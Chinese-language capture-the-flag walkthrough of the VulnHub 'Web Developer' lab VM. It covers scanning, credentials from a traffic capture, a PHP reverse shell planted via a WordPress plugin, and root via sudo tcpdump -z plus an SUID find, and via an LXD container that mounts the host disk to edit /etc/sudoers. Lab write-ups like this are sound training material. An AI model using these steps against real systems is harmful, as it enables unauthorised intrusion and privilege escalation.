vulnhub-webdeveloper通关教程
本来想越写越细节,但是太懒了。。。这里靶机是162.毕竟我打了那么多靶,一眼也能看出来,你跟着我打也能看出来了>_<(主要是打靶没什么提升。。。很简单跟现实差距太大)我也没授权,也不敢测,挖洞自己挖没有交流也学不到什么>_<希望有人能以前学习交流。。。>_<
nmap 192.168.135.0/24 -sP

我们发现开放了80/22/8443
nmap 192.168.135.162

简单思路枚举web信息,登录ssh提权。。。
nmap 192.168.135.162 -p- -A

我们扫出了登录口和流量包。。。翻译出来的哈哈哈
Dirb http://192.168.135.162

我们发现这里有个熟悉面孔,记住写常见流量包后缀cap/pcap/pcapng/dmp
这里saz是Fiddler的http抓包(不是底层网卡流量,是http会话包,可以改zip解压)trc是旧工具sniffer的。

我们通过抓流量包可以获得账号密码webdeveloper/Te5eQg&4sBS!Yr$)wf%(DcAd,这里我们应该复习下wireshark的命令先,好久没用了。。。
Tcp.stream eq 1 ---tcp追踪 如果追踪UDP就改即可
Frame contain mrderp /login --查看流量中登录信息
http.request.method == “POST” ---过滤查看POST请求信息打开双击查看

这里有很多获得反弹shell的方法,但是我只能修改hell.php那里成功,第一次打时上传文件那里就成功了,不知道这次怎么就剩下个DOLLY那里成功。。。

这里用多了,如果你也用多了我就不解释了记得修改IP就行。
Locate php-reverse-shell.php
cp /usr/share/webshells/php/php-reverse-shell.php .
gedit php-reverse-shell.php

在插件处修改hello dolly hello.php中将php-reverse-shell.php复制,activate运行,提前监听就能获得反弹shell,这个玩了很多次就不解释了

修改完保存,执行我们就可以提前监听,执行获得反弹shell


获得稳定shell,这里发现python2格式没有用那就换成python3格式
Python3 -c ‘import pty;pty.sapwn(“/bin/bash”)’
Stty raw -echo; fg
Export TERM=xterm-256color

Wordpress指纹老演员了,我们依旧可以从wp-config.php获得账号密码。
webdeveloper / MasterOfTheUniverse

登录ssh。
Ssh webdeveloper @192.168.135.162 // MasterOfTheUniverse

我们发现可以执行/usr/sbin/tcpdump,我搜了下这个叫钩子轮换提权,我不太了解。。。
Sudo -l

SUID作用:任何人运行这个带SUID的find程序时,都会以这个文件所有者的身份执行。如果文件属主是root,普通用户执行find就拥有root权限。
Find / -perm -4000 2>/dev/null | grep find
Echo “chmod u+s /usr/bin/find” > shell.sh
Chmod 777 shell.sh

我们看我们创建的shell.sh脚本,发现成功写入SUID,我们将sudo命令钩子轮换提权写入脚本。
Cat shell.sh
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
这里解释一下吧,毕竟单拿出来都看得懂,合在一起就眼花了。执行sudo,-ln行缓冲不解析域名,-i劫持网卡(抓网卡包),-w抓的包写入黑洞,-W最多保留一个轮换文件,-G1秒一次执行轮换,-z轮换后执行我们的脚本,-Z执行完脚本获得root
find / -perm -4000 2>/dev/null | grep find
再次查看发现find被我们写入shell.sh,每当运行find,普通人也能变超人。

运行find命令成功获得rootshell。-p保留特权,执行就结束。
find . -exec /bin/sh -p \;

哈哈哈,好了这里是几天前第一次打的时候截的图>_<
我下载云容器时下太久了,再打一遍在下载的话我会疯掉的
Lxd test list
Lxd init
很慢

下载成功就是这样子了,很慢。。。

我们看到里面现在什么都没有
Lxc list

分配了安全权限,并将整个磁盘挂载到/mnt/root
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true

我们发现分配了ip加eth0
Lxc list

这里等一下就好,我们启动容器,在容器里执行命令。
lxc start test
lxc exec test bash

我们运行容器,并在容器里给用户赋权。这样用户就有root权限。
Lxc exec test bash
echo "%webdeveloper ALL=(ALL:ALL) ALL" >> /mnt/root/etc/sudoers

我们退出容器,直接切换root用户就可以了。创建 security.privileged=true 特权 LXC 容器,把宿主机整块磁盘挂载进容器;在容器内直接修改宿主机 /etc/sudoers 文件,给宿主机用户添加 sudo 全权限。退出容器回到宿主机,这个用户直接拥有 root 权限。

直接切换root用户就拥有root权限。

我们看到flag就结束了。。。

浙公网安备 33010602011771号